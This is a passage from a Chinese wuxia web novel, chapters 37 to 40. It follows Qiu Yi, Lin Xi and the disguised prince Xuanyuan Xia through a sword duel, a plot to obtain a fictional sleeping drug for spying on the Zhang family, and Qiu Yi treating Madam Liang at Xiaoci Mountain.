林兮哪里是忘?这么多人盯着,他怎好意思张口问姑娘家可否还记得三年前的约定!可自己却被张天作的话架的下不来,望着邱怡审视好奇的目光,吱唔道,“邱怡,年尾我就要在江心学宫结业授衣,你有没有空到江心来看看我?”
张天作听后一副恨铁不成钢,恨不得替林兮问上一句,可否还记得当初的三年之约。
见邱怡还正犹豫着要不要答应,又为他赶话道,“邱姑娘,冬月二十九,我亦将在江心授衣及冠。届时,不仅家兄会到江心亲自为我行及冠礼,我还会表演一曲琴剑,一洗俗尘,邱姑娘不可不来?”
邱怡无奈一笑,“好。”
林兮表情一僵,平日不见,张天作这般懂得同姑娘家讲话,对呀,不要问什么有没有空,要说不可不来!
转而心中雀跃狂喜,对邱怡说道,“到时,我陪你在钟灵山四处转转。”
张天作视了视后处无所事事的夏小五,又为林兮问道,“邱姑娘,我记得林兮信中只请了你一人,不记得叫过旁人?”
“他是清农夏先生的儿子,见我一人孤身出城,不放心跟来看看。”
张天作见邱怡并未提及自己与夏小五的关系,又道,“姑娘可听过一姓田的姑娘?田姑娘时常在江心提到她有位姓夏的朋友在云间清农,二人关系甚密,还请姑娘体解。”
“如此甚好,他亦巴不得田姑娘将他日日挂在嘴边。”邱怡回道。
张天作暖声回道,“姑娘通透。”
邱怡又向暖意洋洋的林兮温声道,“林兮,天色不早了,此处距下个村镇还有两个时辰的路程。我们就此别过吧,你路上,万事也要当些心才是。”
林兮不舍,但再不出发,怕是真要马行夜路了。转过身将自己和邱怡的马牵了过来,本想帮邱怡上马,却见她踩着马镫,一下子就上了马,动作看着很是轻盈。跳上马后,对曾经比秋池水还平淡的邱怡夸道,“真是不一样了,感觉你整个人都有活力了。”
邱怡苦笑,“林兮,多亏了你。三年书信相伴,今日一见,感激不尽。”
林兮被邱怡的感激深言惹得不知再说些什么,“你去帮人瞧病,瞧得好就瞧,瞧不好也别勉强,千万别又累着了。”
林兮马动,心却好像停在原处,时不时的回望着变得爱笑的邱怡,盼望着再见时,她愿随自己一道同去白陵。
夏小五自幼习武,适才几人的谈话,半箭距离外的他听的一清二楚。三马渐渐向自己靠近,他亮出腰间的弯刀,直对张天作的马头,“你就是墨白城张三公子张天作了?”
张天作颔首自认道,“正是。”
“听家师说白陵剑法天下无双,在下初入江湖,想讨些名头,张天作,得罪了!”不由分说,右脚掌猛力一踏,飞身而上,出手又快又狠,刀风凌厉,呼呼作响。
张天作双足顿住马镫,身子如飞,腾空跃起。“嗤”地抽出天河剑,反削过去,弯刀直劈而来,张天作身随剑倾斜,一道透着寒光的刀影擦身而过。
林兮不解,这人为何突地亮刀,亦惊叹张天作反应之快。
37. 是启唇难
叶落风起,夏小五刀法纯熟,如粗枝的膀子力劲极强。张天作不敢怠慢,铮的一声响,长剑挺直向夏小五左肩刺去,剑尖距离肩头约两寸时,夏小五回刀横挡,刀剑相向,又是当的一声。二人各自退开一步,张天作问道,“你是酒神刀客醉清风的徒弟?”
陈雅安亦视着夏小五手中弯刀,刀身明亮如月,刀柄处的刻纹着实细致,看着像是一件艺术雕刻,而不是冷光刀兵。
“好眼力,不愧是素衣剑仙的儿子。我师父说,他生平唯一赢不过的就是你爹,我偏不信这个邪!”
张天作一抖剑光,“那就要看看你有没有这个本事了。”
长剑一举,夏小五换作双手握刀,一双刀剑,在秋日的光头下,挥晃闪烁。
张天作的剑尖又如雷霆般闪来,夏小五向后腾跃小半步,压下剑叶。张天作手腕微晃,任他如何抽剑,都被夏小五的弯刀压得一动不动。
夏小五的臂力当真超群,以杀去杀,将以力道见长的张家剑法压得死死的。
张天作见抽剑不动,顺势松开手,提脚踢起长剑,却觉手腕已有些酸麻。
夏小五双目圆亮,扬眉一笑,“不过如此。”
张天作提剑便向他眉心而去,这一剑去的凌厉,来的霸狠,迫得夏小五提刀迎去,刀影闪过,当的一声,双手亦是微麻。不及反应,张天作狠狠一剑再度刺去,夏小五如法炮制,挥着刀与面前的剑影交织在一起,每一次碰撞都震得空气嗡嗡作响,溅得黄土地面尘烟弥漫。
激战正酣之际,夏小五突喝,“看我松风亮翅!”。
说罢后,便展臂如飞鹏,刀身如光蛟,身随刀行,一跃三进。张天作直觉眼前弯刀瞬地幻作成三支蛟影,再定睛时,一刀影已向自己右肩挥来,张天作提剑格挡,却见那刀突地又至左肩头处,侧身闪躲间,膛前又闪出了第三道刀影,数招过后,二人都觉指尖酸麻劲儿直入臂里。
张天作盯着夏小五鼓得要撑开衣袖的双臂,心念,“这小子力气真大,如此下去,确不是办法。”
视着再度劈来的刀锋,张天作将剑一抛,徒手接住两侧刀身。
夏小五突地发力,张天作亦是将心一横,两掌同时催动着回龙功,将其弯刀硬生生架在当空。
夏小五胸膛如山丘般抖耸,颈处的血筋更是鼓突突的,满脸胀得通红,竭力抽刀,那镰月弯刀却仍是纹丝不动地抵在张天作掌间。
张天作知夏小五凭强横的臂力,许可以刀胜自己的剑,若是由自己叫停,难免不会被他出言嘲讽自己输了剑招,故而只以回龙观与之力搏。
一人以蛮力出刀,一人以巨力接刀,刀剑的对决不知怎的成了角力的较量,不知僵了多久。
林兮看了看远在一旁的邱怡,邱怡即刻领会,说道,“小五,忘记出门时你娘同你说什么来着。信不信我现在就送你回云间城,让你娘亲来管教你。”
夏小五生平最大的爱好,就是学武与比武,这让他那医者出身的娘亲颇为头疼,没少为他不期而至的伤痛病痒操心。
这次,他随邱怡同去小次山,也是听说小次山的梁掌门武功高强,才跃跃同行的,恨不得去和梁掌门切磋个一招半式。夏先生自是看出儿子的心思,出门时格外叮嘱邱怡,若是夏小五在外不听话,又与人胡乱比武,就将他送回云间城来。
夏小五比着正是起劲儿,神情突地暗淡下来,无奈叹了口气。
张天作松开手,拱于胸前,“小五兄天生神力,在下佩服。”
“招式我是勉强赢了,比力气,却是你赢了。”夏小五边收着刀边叹声道。
张天作嘴角闪过一丝不悦。
若论剑招,自己确实未胜过夏小五,但硬说是输了,又满心的不服气,夏小五若非有那一身子的气力在,怎接得住自己这多招式。
陈雅安审出张天作心思,提缰上前,“既是未分胜负,阁下何必这般计较输赢?”
“他连我的刀都快接不住了,难道不是他的招式不如人吗?”夏小五反问道。
陈雅安忖了忖,“我家公子空手便可接住你的刀,难道这也算作是输了?”
“我敢打赌,他虽能用手接住我的刀,但换成是剑,他未必接得住!”夏小五回道。
陈雅安瞟了眼夏小五腰间弯刀,向着怏怏不服的夏小五,又道“我有个法子,一招定能叫你二人分出个胜负来。”
夏小五回道,“如何较量?”
“比比谁的刀更利如何?”
夏小五随手抽出弯刀镰月,扬向陈雅安,“这把刀,是我祖上花了三千两从一位名匠手中购置来的。不知断过多少利刃,小爷用这刀与你比,岂不在欺人。”完后,看向张天作手中那柄天河剑。
陈雅安从腰间解出一把短刀,将刀从黑色皮制的刀鞘中拔出。
夏小五见那柄短刀,刃发淡金之色,长约七寸,刀身和刀柄几乎同长,刃薄如蝉翼,刀背厚有两指宽。“这是我平时切肉用的刀,自是算不得什么神兵利器。”然后将探着身,将刀柄端到夏小五眼前,“你看这绳还是我自己绑的呢。”
夏小五视着刀柄上密密缠绑的黑色麻绳,确是普通,但陈雅安的语气,却比自己夸赞镰月时更为自得。“你若真心要比,不妨换一件,白陵张家不会连把像样的刀剑都掏不出吧?”
陈雅安不管不顾,悠悠将手中短刀递向张天作,“公子,你只端着它,让夏兄用刀来砍就好了。谁的刀没断,谁就赢了。一下,就可分出胜负。”陈雅安故意将“断”字的尾音拉得极重。
夏小五犹豫,面前的男子言谈自若,好像对自己的刀充满了信心。万一真的比试输了,胜负姑且不提,手中虽是一把利刃,若真的断了,他也是十分的心疼。
“小五,你忘了夏先生的交代了吗?你若再敢跟他比试一下,我可就真的要回云间城告你的状去了。”邱怡用着不容商量的语气吓唬道。
夏小五想着等下还有事要偷偷求邱怡帮忙,就坡而下,“我娘有命在先,就不陪你们玩儿了。”
马蹄前行,陈雅安一声轻哨,苍鹰应声随三人而去。
林兮不住回头望着正目送自己的邱怡,只觉邱怡目送了好久,久得再回头已望
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不见适才相见的地方。
林兮不忘提句,“天作,你看邱怡她人好不好?你别看她是在山林间长大的姑娘,但她读过的书可是多了。”
张天作轻扬一笑,“邱姑娘是很好,但你见了邱姑娘,就不是那么好了。”
林兮不好意思道,“方才真是谢谢你了,我见了她,都紧张的说不出话,还好你在,帮我把想说的都说了出。”
“不妨事的。”张天作轻松道,说后,半侧着身子,向后排的陈雅安问道,“雅安,你也觉出夏小五是个假名了是不是?能拜入醉清风门下,不知会是什么人。”
陈雅安若有所思,“我同他说比刀的时候,他很是紧张那刀。若能探出那把刀的来路,就可知道他是谁了。”
“镰月。”林兮轻声说了句。
“你识得?”陈雅安疑道。
林兮颔首,“我看过一本兵器谱,里面绘了一把刀和夏小五用的很像,我若没认错,应该就是镰月了。”
“镰月?”陈雅安喃声道,“你可还记得绘图上的刻纹是不是灵鸟模样?”
“是。”林兮点着头道。
陈雅安推测着,“若真如此……那夏小五多半就是朱阳王世子,轩辕夏。”
张天作认同道,“醉清风投了凤门,轩辕夏同他学武,算不得什么新鲜事。”
“轩辕夏?”林兮怀疑道。
张天作解释道,“火凤是轩辕氏的图腾,所用事物器具常绘有神鸟图纹,故而又称其为凤门。”
林兮点着头转而问道,“雅安,你那把匕首,我未在兵器书中见到过,可也是名家之作?”
陈雅安难得笑道,“四两银子请白陵城一位老铁匠打的。”
“也就是你,四两打的匕首就可吓掉他三千两的镰月。”张天作跟着玩笑道。
说笑间,二人并未察觉,陈雅安对夏小五实是轩辕夏一事,起了担忧。他前几日瞧出田雨萝最近正在问讯开物门首座一些机关之术。如他所料,素娘果真派出田雨萝去往白陵。万一田雨萝串同轩辕氏前去,该如何是好?
事实亦然,田雨萝知墨白城难进,天作之合馆更是难入,得到师父指令的第一时间,就邀请对他惟命是从的轩辕夏与她同去。
这轩辕夏起初不愿,但田姑娘难得与自己张口,他也留了个心眼,向堂兄江王问询此事是否可行,哪料,正中了江王下怀。
日前,江王从六皇子身边的眼线处得了消息,白陵少主闭关一事,或另有隐情,正好,可以借这素来不知轻重的轩辕夏之手,去天作之合馆内查探一二。
经江王一番筹划,如今已是万事俱备,只欠清农医堂特有的一剂名为闭灵镇魂散的迷药。其药力之强,即使武功极高之人,吸闻此药,至少也要踏踏实实睡上一个时辰。
遂将主意打定到此时正在清农医堂的轩辕夏身上,不仅委托他寻来此药,还盼着他能进到天作之合馆内,一探白陵少主闭关一事的实情。
若真有假,他进,可借此要挟白陵张家为他所用,退,亦可到父皇面前,参张家一道欺瞒圣听的大逆之罪。
38. 剥茧抽丝
江王本以为,这闭灵镇魂散虽只清农医堂可得,对此刻恰在清农的轩辕夏而言,应是唾手可得。
他二人哪知,这闭灵镇魂散不仅是清农特制的迷药,配制繁琐也便罢了,还需要极其精湛的手法和极强的耐性。
在配制过程中,每一道程序,每一道工艺都要求严谨无误,用量多一分、少一分,火候大一分、小一分。甚至在配制时,全程不可见风、不可见光,但凡出上一点差错,这闭灵镇魂散都是做不出的。
玄心奥义诀内力稍弱,便大有可能在配制中途,因耐不住药力而晕,云间医者对此,多是敬而远之。
可田雨萝有求,轩辕夏又不敢不应。可他在清农问了一圈人,那一圈人像是商量过似的,无一人给出此药。
于是,他抱着最后一试的心态,向邱怡问了一次,如若得到答复还是那般,便只得同娘亲和舅舅坦白,向他二人讨药去了。
谁想,邱怡听后,只是玩笑回了句,“这闭灵镇魂散可不能轻易给你”。
轩辕夏一听,事有转机,便连日对邱怡软磨硬泡,铁了心要向她求药。
自与林兮三人分别后,轩辕夏的嘴便一直没有停过,“邱姐,弟弟求你了,我只要一点点就行。”
邱怡撇过头去。
轩辕夏又道,“邱姐,你为何不愿给我呀?”
“你说为何?别以为我不知道,前些时日徐阳都快要被你烦死了。”
轩辕夏抿着唇大气儿不敢喘一下。
邱怡继续道,“你要闭灵镇魂散,若真是有正经用处,大可直接去向夏先生张口。可你却有意避开她,向我们来求,可见你不是要去与谁比武,就是准备着要去与谁比武的。小五啊,你要知道,用这下三滥的迷药与人比武,可不是男子汉当做的事。”
轩辕夏鼓着腮嘀咕了句,“你猜到了?”
邱怡点了点头。
轩辕夏继续道,“要不是司宇哥武功实在太高了,我何需出此下策。”
司,宇,哥?
邱怡一激灵,脑袋里冒出一连串的疑问,他要比武的人是二哥?他与二哥比武作甚?二哥怎么会和他比武呢?
“你刚才说,是谁的武功太高了?”
轩辕夏赶忙捂上嘴,“没,没什么。”
邱怡道,“你还想骗我,刚刚明明说了个人。”
“邱姐,你听岔了,”轩辕夏摇起头,抵死不认。
邱怡眨了下眼,目光还是沉了下来,即使自己早早打定主意,再不回白陵,再不与张家有交集,但此人竟是去和二哥比武,还准备用迷药,必是怀着对张家不利的心思。
话锋突转,“小五,我若真偷偷给了你,你去与厉害的人比武,万一真受伤了,不仅夏先生会担心,连我都是过意不去的。”
轩辕夏目中一亮,“这么说,邱姐是愿意给我了?”
邱怡撑着副不达眼底的笑意,“那你得先让我和夏先生放心才是吧?”
轩辕夏神情黯了下来,“邱姐,你就别问了,我真的不方便说。”
“好呀你,如今连我都瞒着。”她说着,指尖不忘戳向轩辕夏心膛,“夏小五,你凭心问问,哪次你去与人比武,不是我帮你打掩护的?哪次你将人打伤了,不是我去帮你们上的药?我可跟夏先生说过你一点不是吗?不方便说是吧!好,那我也不方便给你,这事往后我们谁都不许再提了。”
说罢,便撂轩辕夏一人在原地,纵起马来奔向小次山。
轩辕夏急忙策马去追,“邱姐,我错了。”
娘亲带他到清农医堂来,是希望自己安安心心地读几年书,不求肚子里入些墨水,但求修身养性,不要成日想着打打杀杀。可他骨子里就带着的性子,哪是一座医堂就洗得去的?
自到云间城来,云间城里但凡懂武功的,都被他挑战过,隔三差五就有带着伤的人找上清农来,夏先生无奈,亦告知清农一众,盯好夏小五,若再见他在外与人比武较量,便来告诉自己。
整座清农医堂,只有邱怡一人没有告过他的黑状。
轩辕夏觉着邱怡是整座清农最好的人,不仅时常帮自己善后,更是说一不二的爽快人,一来二去,二人便处成了朋友。
夏先生见儿子常与邱怡一同出入后,不仅很少伤人闯祸,连热衷的比武事宜都不再挂在嘴边,只是偶尔与邱怡作伴出城跑马,心也跟着踏实下了。
“邱姐,你快慢下来,骑太快容易摔着。”轩辕夏边追边道。
任他如何呼唤,邱怡都没有要停下的意思。
“你若答应帮我,我就告诉你。”
前行的青马蹄速渐缓,轩辕夏追上补了句,“但是说好了,这件事千万不能让我娘知道。”
邱怡思考片刻,“可以。”
轩辕夏一双溜圆的大眼中跃动着光芒,兴奋得险些从马上跳了下来,止不住地说好话。
邱怡听完那密密麻麻的计划,皮笑肉不笑道,“所以适才,你是故意与张天作交手的了?是想借机看看张家剑法的虚实如何?”
“邱姐英明。”轩辕夏笑着脸恭维道。
“知己知彼方能百战不胜,小五有长进了。”邱怡面上应着,心中却是大惊。
陵侯外出“云游”,白陵少主在天作之合馆内“闭关”。
虽是白陵张家给出的一时说辞,无人会质疑,一旦东窗事发,必定被扣上顶“欺君”的帽子。
她凝着眉想了许久,说道,“计划确实周详,但万一白陵少主真是在闭关,你有足够的把握可以全身而退吗?”
轩辕夏端着大眼向邱怡,支支吾吾不知该如何作答,却听她又问道,“林兮去墨白城时是在十一月,据他说,那时的白陵城就已遍地是雪,凡是走过的地方都会留下脚印,如果你没有办法做到不留下脚印,还是等雪融退了再去吧。”
这会儿,轩辕夏还当她真在为自己考虑,忙问道,“邱姐,我哥那边已经准备得差不多了,我也想着趁着离开我娘这几日,就去白陵帮我一探究竟。你帮忙帮到底,既答应了要给我闭灵镇魂散,可定不能食言啊。”
邱怡思虑片刻,“天作之合馆内的张之合不难对付,给她也备下闭灵镇魂散就是。我再给你和田姑娘配两粒凝息丸出来,你们事先服下,可暂时压制闭灵镇魂散的药效。但你们也需注意,半个时辰内必须要出来,你是准备几时动身?
“九月二十八,那夜子时,天作之合馆守卫最是松,但我还要先去凤临与田姑娘和我哥汇合,最迟这两日也该出发了。”轩辕夏感激回道。
邱怡拧着眉毛,无奈望向这个与自己差不多年纪大,身体块头足足比自己大出三个圈,却时刻好像小弟弟的轩辕夏。他口中亲热叫出的哥哥,只在背后出谋,却将难事一并推给了他,显然是将他当了出头鸟。
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她拍了拍衣衫,说道,“即使如此,你万事还是该小心着来,不可强出头。”
“好,谢谢邱姐。千万别说漏了,让我娘知道了。”轩辕夏合着手掌拜托道。
但看邱怡已策马而进,轩辕夏紧随在后,一连谢她到了小次山山门,才住下嘴。
日落了山头,小次山厅堂仍是通明。
邱怡进门就见梁功居中危坐,满腮胡子,瞧不真切面容,只一双眸子格外有神。
“见过梁掌门。”
梁功长度了眼邱怡,“你是清农门徒吗?”
邱怡道,“在下无福,幻医正未曾收我入门下,只许在药房打杂。”
梁功长这才放心,胡须接而微颤,“姑娘远道而来,辛苦了。”
“梁掌门,晚辈夏小五,我娘亲有封信托我捎给您。”轩辕夏话道,将信呈了去。
梁功长接信读后,眼底大亮,走到轩辕夏身前,视了视眼前皮肤微微糙黄的魁壮小子,拍着他肩膀道,“令堂最近还好吗?”
“我娘好得很,她说等您得空了,定要记得带婶婶和妹妹来做客。”轩辕夏回道。
梁功长微叹了口气,“我和我夫人亦是常记挂着她,待夫人身体好了,我让她娘俩去与小住一段时日。令堂信里说,你在小次山这段时间,让我指点指点你的武功。”
轩辕夏想也不想地扬起嘴角,露出两排白亮的牙齿来,“多谢梁掌门!”
邱怡有留心到,这梁功长若真是二哥的父亲,自己的叔父,那他口中说的可是“娘俩”,是不是意味着,自己还有位姐妹在?
梁功长随即邀请邱怡与轩辕夏一同用晚饭。
果在饭席将起间,见一少女仿佛灵脱玉兔似的跃进屋来,脸蛋精致小巧,樱唇琼鼻,一双俏如桃花般的大眼煞是好看,较自己昔日旧貌,有过之而无不及。
“来,欢儿,来见见姨母的儿子。”梁功长向门处的少女摆了摆手。
伴着少女脚踝上悦耳的银铃声,那少女也如俏兔般蹦蹦跳跳进了屋,好奇地向轩辕夏眨着大眼睛,又看看了一旁的邱怡,择了邱怡与梁功长之间的空位坐了下,甜声问道,“父亲,是哪家姨母?”
“还能是谁,当然是你母亲在清农的远房表妹。”梁功长回道,他知夏先生是朱阳王妃,不便以真实姓名在清农医堂教医授业,故而未直言其身份。
少女淡淡一笑,“我知道了,是送我这支钗子的漂亮姨母。”说着扶着头间一支合欢花状的银钗。
邱怡抬眼望去,那钗下垂一珠,钗头上是一双艳粉色的合欢花,色晕分的格外细致,嫣粉、嫩粉、浅粉直度到花蕊处的羽白间还似乎透着微微淡粉,在那少女满头银饰中,格外醒目。
“这是小女承欢。”梁功长介绍道,又视了视夏小五与邱怡,“这位是夏哥哥,旁边的是邱姑娘,来为你母亲瞧病的。”
“为母亲瞧病?”梁承欢喜出望外,“太好了,邱姐姐,我适才服侍母亲睡下,明儿一早,我再带你去见她可好?”
“如此甚好。”邱怡回道。
见那轩辕夏不住拉着梁功长讨问武功招式,梁承欢无甚兴趣,反是拉着新认识的姐姐,向她询问起山下的样子。
邱怡只说自己甚少出医堂门,同她讲了些自己在垦岭孤山中的生活。可梁承欢似遇到知音人一样,也与邱怡聊起自己在小次山的童年。
39. 心结积郁
翌日一早,不等邱怡来为梁夫人瞧病,轩辕夏就蹲到了梁功长门外等他。
邱怡到时,只看到梁承欢一人坐在梁母床前。
一闻到那满屋浓郁的药草味,邱怡好像回到了幻言为自己医治的山洞中,立时毛皮发栗,恨不能抽身离去。
据梁承欢说,自一年前母亲生病以来,她的父亲就研习起了医术,每看到对上母亲病症的法子,便去配药来试,可母亲却久不见好。
邱怡走到梁夫人床前,看着床榻上枯槁般的憔容,见不出一丝血色。她过手搭脉,阴邪寒气已入五脏六腑,绞缠固结。
这梁夫人虽是一年前显出的病症,实则体内寒气早已过了脏腑,元气衰退多年,如今气血已俱亏到了细末。
细询梁承欢才知,原十年前,其母曾孕一子,那时,正是小次山蒸蒸日上的几年,梁功长要处理门内事务,无暇分身,梁夫人一面拖着孕身,一面照顾六岁的她,足月时,诞下死胎,自那之后,身子就没好过。
“欢儿,你母亲身子弱,恐怕也要恢复些时日,才能全复。”
梁承欢瞪着眼,问道,“邱姐姐,你真的可以治好母亲吗?”
邱怡点了点头,“令堂这身子,多是受当年产子之累,此后又心思郁结,积出来的。”
梁承欢暖暖望向母亲,“母亲,你听到这姐姐说的了吗?”
梁夫人叶婕淡淡点了点头,亦想同邱怡问些什么。
邱怡直直拦住,“梁夫人,你身子危,一定要注意休息,情绪也一定不要再激动了。我先为您开几副药,细里我去和梁掌门说清。欢儿,你陪夫人休息吧,我去见见梁掌门。”邱怡交代过后,即出了屋,那满屋的药味,着实令她心悸。
邱怡在厅堂等候梁掌门,向一略微年长的洒扫门人闲聊,尤其对当年梁夫人怀孕诞下死胎一事,问的异常细致。
才知,那梁夫人自生了那个没活下来的孩子,整日如发了魔怔一般,在山间练剑,迎风饮露,撒着心中的怒气。梁功长亦十分伤心,却劝不住他的夫人。
邱怡听着十分难过,心里像噎着石头似的。
“邱姐。”
轩辕夏兴高采烈地跑了进来,邱怡紧忙定了定神,不希望人见到自己伤神的模样。
这时,梁功长也随着进了门,还不等他开口,邱怡便回道,“梁掌门,我已为贵夫人瞧过了,夫人患的是邪寒症,是需要调理阵子。但夫人的心结,却因梁掌门戾恨所结。”
梁功长眉眼透出薄薄喜色,说道,“请邱姑娘明言。”
看着轩辕夏不住使来眼色,邱怡嗔示一眼,便将梁功长唤到梁夫人住处。
那股窜鼻的药味又令邱怡阵阵作呕,还未来及说话,梁承欢就迎了来,握着邱怡的手道,“邱姐姐,我母亲刚刚喝过你开的药,说舒服多了。”
邱怡轻拍了拍梁承欢的手,“令堂的病,非这一两副药可解的。”
梁承欢正要沮着脸,邱怡又轻拂着她的面道,“欢妹妹,听姐姐说,你平日多陪令堂说说话,多向她笑笑,她看了开心,身子就可跟着好了。”
梁承欢信真,杏圆眼漫起笑意,随即笑靥凹出两个酒窝来,更显娇俏玲珑。
邱怡一个姑娘看到,都跟着出了神,片刻后才道,“欢儿,你笑起来真好看,很像我认识的一个人。”
“是谁?也是位漂亮姐姐吗?”梁承欢应声问道。
“她现在已经不是位漂亮的姐姐了,青春如梭,韶华易逝,你生的这般美貌,一定要多多打扮自己。”邱怡感慨道。
梁功长听到邱怡说“不是一两副可解”,紧张问道,“邱姑娘,我夫人的病?”
“贵夫人本是寒症,原不严重,只是旧病未医,积重难返,才至了今日的情形。”邱怡说着,佯出一副很是为难的神态,“只是,这中有味药引,我不敢擅用,还需同梁掌门商议一番。”
梁功长忧起心来,将邱怡带到旁屋,问起,“邱姑娘,可是要用什么凶药吗?”
“药倒不凶,只是此药生在白陵,需即取即用,方才有效。”邱怡说道,“我对梁掌门旧事,略有耳闻,也愿代梁掌门去白陵寻药,只是,不知梁掌门介不介意我用此白陵之药为贵夫人医病?”
梁功长深深叹了口气,如果邱怡不特意强调是白陵才有的药物,用便用了,他只假作不知道就好。但邱怡提出“白陵”二字,似乎与一直在表面处与白陵有关的一切划清界限的他行事相悖。
“是哪味药?”
“白陵极遥寒川处,高山棠棣的树根。”邱怡回道。
梁功长顺着邱怡的话,回忆起高山棠棣的模样,那是鲜少可以长在雪川间的花树,只伏暑时期开花数日。幼时,父亲带自己与大哥去极遥时,曾看到过一次棠棣树开花的模样,一株株树上挂满了锦簇花团,于冰川中顶雪盛开。
父亲还教了自己一个词叫棠棣同馨。
“我夫人得的是寒症,怎会需要用这极寒之地的药?”
邱怡脑子一懵,不想梁功长看了这一年多的医书,确是懂些药理,紧忙胡乱解释道,“极遥是苦寒地,草木难生,这高山棠棣既可御寒而长,其树根自是驱寒良物。尤其是在它刚刚拔出雪地时用来制药,驱寒效果最是足。”
梁功长似乎认可了邱怡的说法。“姑娘,你也是张司宇的朋友吗?”
“实不相瞒,若能代前辈去极遥取药,将是邱怡第一次踏足白陵,我也很是期待。”邱怡转而问道,“前辈你猜?我若去白陵,会碰巧遇到张司宇吗?”
梁功长满腮胡须不时抖着,多番欲言又止,缓缓才道,“姑娘若真要去白陵,万一遇见了他,可否帮我带几句话给他?”
邱怡顺势揶出句,“什么话?是告诉他你还想再得个儿子?还是告诉他,你很想他?”
梁功长语顿,张司宇日前托张天作传话“各自安好”,梁功长已经渐渐明白,这个儿子早已遥遥离去了。
邱怡也觉自己的话说的重了,“我是随父亲一同长大的,他很疼爱我,尤其是就寝的时候,父亲总想搂着我睡,我却嫌他打鼾太吵,不喜欢和他一起睡。”邱怡眼中的泪珠不知道打了多少圈转,竭力提紧自己的眼眶,抽搐着鼻尖,“后来,父亲过世了,我身边再没有其他人陪我了。我又盼着这一切是场梦,盼着能拥在父亲的怀里美美睡上一觉,他打鼾会不会吵到我,好像也不是什么重要的事了。”
梁功长心里的那颗锥刺摩挲起来。他对白陵亲人的想念,从未停过,只是碍于面子,他,始终迈不出那一步。
“我很快就要回垦岭了,最迟也在明年年头,在此之前,我随时都愿代前辈去极遥采药。”邱怡不舍道,“我这一走,难有归来之期。若前辈那时才想开,我也衷心祝愿前辈还能遇到一个像我这么傻,不仅上门来求,还不辞艰辛,去极遥那种苦地方帮您采高山棠棣的大夫。”
梁功长静静地站在那,目不转睛地望着邱怡,真的好像错过了她,就再遇愿为自己与白陵城建立丝丝联系的人了。“姑娘,多谢你愿为我去白陵。若你进了白
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陵城,可否帮老夫寻一位见过张司宇模样的画师,带副他的画像回来?”
邱怡意味笑了笑,半认真半玩笑似的说道,“梁掌门,我敢保证,像我这么傻的人,你实难遇到第二位了。”
梁功长视着邱怡的神秘一笑,奇想这姑娘看似平平,言辞与眼界绝非常人,不由好奇起邱怡谈起的那位自称隐士的父亲是何来路。“恕老夫冒昧,敢问令尊因何归隐?”
邱怡不以为意道,“他从未跟我说过他年轻时的事。”
梁功长在江湖蛰伏多年的警觉告诉自己,邱怡的父亲定不是默默无名的人。或者也是如自己这样,破出家门,在小次山过着隐姓埋名的生活。
进而探道,“姑娘可听过邱世超邱大侠?”
邱怡试问,“梁掌门也去过垦岭吗?”
梁功长听出邱怡的防备,他虽未到过垦岭,但确听过在垦岭曾有一伙锄强扶弱、令官兵闻声丧胆的五兄弟,为首的正是一位姓邱的大侠,更巧的是,垦岭的五位豪侠亦在二十年前,纷纷没了踪迹。
“垦岭五匪”虽是当地民生心中的大好人,但对百里氏而言,简直如鲠在喉,不除不快!
百里一族曾在二十年前举兵剿杀五匪,事后又屠尽五匪家园——狮虎丘,大肆追捕谷丘中逃窜出的家眷幼童,以斩草除根。若世间真还有劫后余生的五匪后人,又怎会轻易自认?
为求邱怡心安踏实,梁功长只意味深长道,“老夫遗憾,未曾去过。只是听说那边地大,卧虎藏龙,邱大侠和他四位结义兄弟锄强扶弱,做了不少利民利生的善事。今日得见姑娘侠义仁心,想必令尊也定是位侠义之士,若老夫能与之结识,不失为人生一大快事。”
邱怡不动声色地苦笑起来,“也许吧,可惜先父听不到这句话了。”
“姑娘既是英豪之后,就且安心在我这小次山住下。姑娘放心,令尊之事,梁某绝不与第二人提起。”梁功长关照道。
“多谢梁掌门。”
心中却是无限自责,她自出垦岭以来,极少提到自己的来路与身世,连身上那些金钗银饰,都为防被人识出身份,埋于荒野,只留了支父亲在垦岭集市买下的珠钗留作思念。
不想,单凭一个自己编出的姓氏,却引得梁功长追问起自己的来路。
天还未亮透,天际呈现出淡淡灰蒙,山间雾气弥漫,梁功长亲自送邱怡与轩辕夏下山,念起邱怡说自己再无亲人,交给她数百两银子作为盘缠和请画师作画的费用。
云间城小次山地处白陵与凤临中间,下小次山后,朝北是进白陵的,向南才是去凤临的方向。梁功长与二人下山后,二人留了心眼儿,看着梁功长进入小次山好长一段时候,才驰马向南奔凤临而去。
邱怡三年未离开过清农,轩辕夏自到云间城后也日日被母亲约束管教,这二人乍脱管束,如两只离了巢的小野雀般,一路走走停停,说说闹闹,好不乐乎。
旁人看了去,只会觉得这二人是一对来游山玩水的小夫妻。
凤临城外古道边,两骑疾驰而来,马上之人风尘仆仆,红马驹上的人更是掩不住激动,“邱姐,前面就是凤临城了。我与田姑娘约好,先在凤临城外碰头,再进城里与我哥汇合。”
邱怡心情亦是十分畅快,多年精养,终于靠着清心丹,可暂复常人之体,纵马驰骋,好不快哉!“好啊,我正好可见见那位令你朝思暮想的田姑娘。”
心中不时猜着,夏小五那位有胆量打天作之合馆主意的哥哥,会是谁?而夏小五又是谁?
40. 推北都疑波助澜
马至凤临城楼门处,就闻见往来不停的贩夫叫卖。
邱怡寻见一马旁站有一妙曼背影,长发马尾,全身紫杉,戳着轩辕夏鼓耸的胸膛,朝那女使了个眼色。
轩辕夏亦感受到那熟悉的身影,快声道去,“田姑娘!”
女子闻声回头,一双乌溜溜的大眼,率情质真,瞥眼看到轩辕夏旁竟站了位女子,青衫文静,双目楚楚,又见她手正贴着轩辕夏衣衫,双目一嗔,“阿夏,这个女人是谁?”
“她是我邱姐,与我们一道去白陵的。”夏小五介绍道,看了看胸前那柔巧的手指头,恍然间明白田雨萝为何不悦,可这傻小子却直直用手将邱怡的手推至一旁,又道,“田姑娘,抱歉啊。我们俩路上太贪玩了,耽误了些时间,你等我们很久了吧?”
听着这男子叫起“邱姐”极亲络的语气,田雨萝哪知轩辕夏私下教授她清农探花截梅手时,早已习惯彼此间无伤大雅的打闹,当即醋道,“我喊你是有要事,为何带上她?”
轩辕夏耐心解释道,“我娘盯的紧,还是邱姐说要带我出来,她才松的口,放的行。”
田雨萝更气。轩辕夏对自己一往情深不假,但却因自己有位盗圣师父,使得轩辕夏父母久久不曾点头同意二人之事,因此才不得不与轩辕夏保持着若即若离的往来。
不想这位邱姑娘,竟能如此得轩辕夏娘亲信任。
她又向邱怡没好气儿道,“云间城的姑娘真是好手段。”
邱怡感到田雨萝对自己的不善之意,不喜与她多说,轻飘飘回了句,“我非云间城人氏。”
